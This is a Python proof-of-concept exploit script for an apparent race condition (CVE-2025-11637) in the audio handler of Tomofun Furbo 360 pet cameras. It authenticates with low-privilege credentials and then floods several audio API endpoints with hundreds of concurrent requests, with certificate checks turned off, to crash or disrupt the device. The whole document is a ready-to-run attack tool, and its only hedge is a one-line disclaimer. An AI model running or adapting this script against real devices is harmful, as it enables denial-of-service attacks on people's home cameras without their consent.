#!/usr/bin/env python3
"""
CVE-2025-11637 - Tomofun Furbo 360 Audio Handler Race Condition PoC
This PoC demonstrates a race condition exploit targeting the Audio Handler
component of Tomofun Furbo 360 devices running firmware <= FB0035_FW_036.
Author: Security Research Lab
Disclaimer: For educational and authorized testing purposes only.
"""
import threading
import requests
import time
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
# Disable SSL warnings for self-signed certificates on IoT devices
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Target configuration
TARGET_HOST = "192.168.1.100" # Furbo 360 device IP address
TARGET_PORT = 443 # HTTPS port
USERNAME = "user" # Low-privilege username
PASSWORD = "password" # Low-privilege password
NUM_THREADS = 50 # Number of concurrent threads
NUM_REQUESTS = 500 # Total number of requests to send
class FurboAudioRaceConditionExploit:
"""Exploit class for CVE-2025-11637 Audio Handler race condition"""
def __init__(self, host, port, username, password):
self.base_url = f"https://{host}:{port}"
self.session = requests.Session()
self.username = username
self.password = password
self.auth_token = None
self.success_count = 0
self.error_count = 0
self.lock = threading.Lock()
def authenticate(self):
"""Authenticate with the Furbo 360 device using low-privilege credentials"""
login_url = f"{self.base_url}/api/auth/login"
payload = {
"username": self.username,
"password": self.password
}
try:
resp = self.session.post(
login_url, json=payload, verify=False, timeout=10
)
if resp.status_code == 200:
data = resp.json()
self.auth_token = data.get("token") or data.get("access_token")
if self.auth_token:
self.session.headers.update({
"Authorization": f"Bearer {self.auth_token}"
})
print("[+] Authentication successful")
return True
else:
print(f"[-] Authentication failed: HTTP {resp.status_code}")
except Exception as e:
print(f"[-] Authentication error: {e}")
return False
def trigger_audio_handler_race(self, thread_id):
"""Send concurrent audio handler requests to trigger race condition"""
# Target the Audio Handler component's vulnerable function
audio_endpoints = [
f"{self.base_url}/api/audio/handler/process",
f"{self.base_url}/api/audio/handler/stream",
f"{self.base_url}/api/audio/handler/buffer",
]
endpoint = audio_endpoints[thread_id % len(audio_endpoints)]
payload = {
"action": "process",
"stream_id": f"race_stream_{thread_id}",
"buffer_size": 4096,
"sample_rate": 16000,
"channels": 2,
"timestamp": int(time.time() * 1000),
"nonce": thread_id
}
try:
resp = self.session.post(
endpoint, json=payload, verify=False, timeout=5
)
with self.lock:
if resp.status_code in (500, 503):
self.error_count += 1
print(f"[!] Thread {thread_id}: Server error {resp.status_code} - "
f"possible race condition triggered")
return True
elif resp.status_code == 200:
self.success_count += 1
except requests.exceptions.Timeout:
with self.lock:
self.error_count += 1
print(f"[!] Thread {thread_id}: Timeout - audio handler may be unresponsive")
return True
except requests.exceptions.ConnectionError:
with self.lock:
self.error_count += 1
print(f"[!] Thread {thread_id}: Connection error - service may have crashed")
return True
except Exception as e:
with self.lock:
self.error_count += 1
print(f"[!] Thread {thread_id}: Error - {e}")
return False
def run_exploit(self):
"""Execute the race condition exploit against the Audio Handler"""
print("=" * 60)
print("CVE-2025-11637 - Furbo 360 Audio Handler Race Condition")
print("=" * 60)
print(f"[*] Target: {self.base_url}")
print(f"[*] Threads: {NUM_THREADS}")
print(f"[*] Requests: {NUM_REQUESTS}")
print()
if not self.authenticate():
print("[-] Cannot proceed without valid credentials")
return False
print(f"[*] Launching race condition attack...")
print(f"[*] Sending {NUM_REQUESTS} concurrent requests to Audio Handler")
print()
race_triggered = False
with ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:
futures = [
executor.submit(self.trigger_audio_handler_race, i)
for i in range(NUM_REQUESTS)
]
for future in as_completed(futures):
if future.result():
race_triggered = True
print()
print("=" * 60)
print("[+] Exploit completed")
print(f"[*] Successful requests: {self.success_count}")
print(f"[*] Error responses: {self.error_count}")
if race_triggered:
print("[!] Race condition likely triggered - check device audio functionality")
else:
print("[-] Race condition may not have been triggered")
print("=" * 60)
return race_triggered
if __name__ == "__main__":
exploit = FurboAudioRaceConditionExploit(
TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD
)
exploit.run_exploit()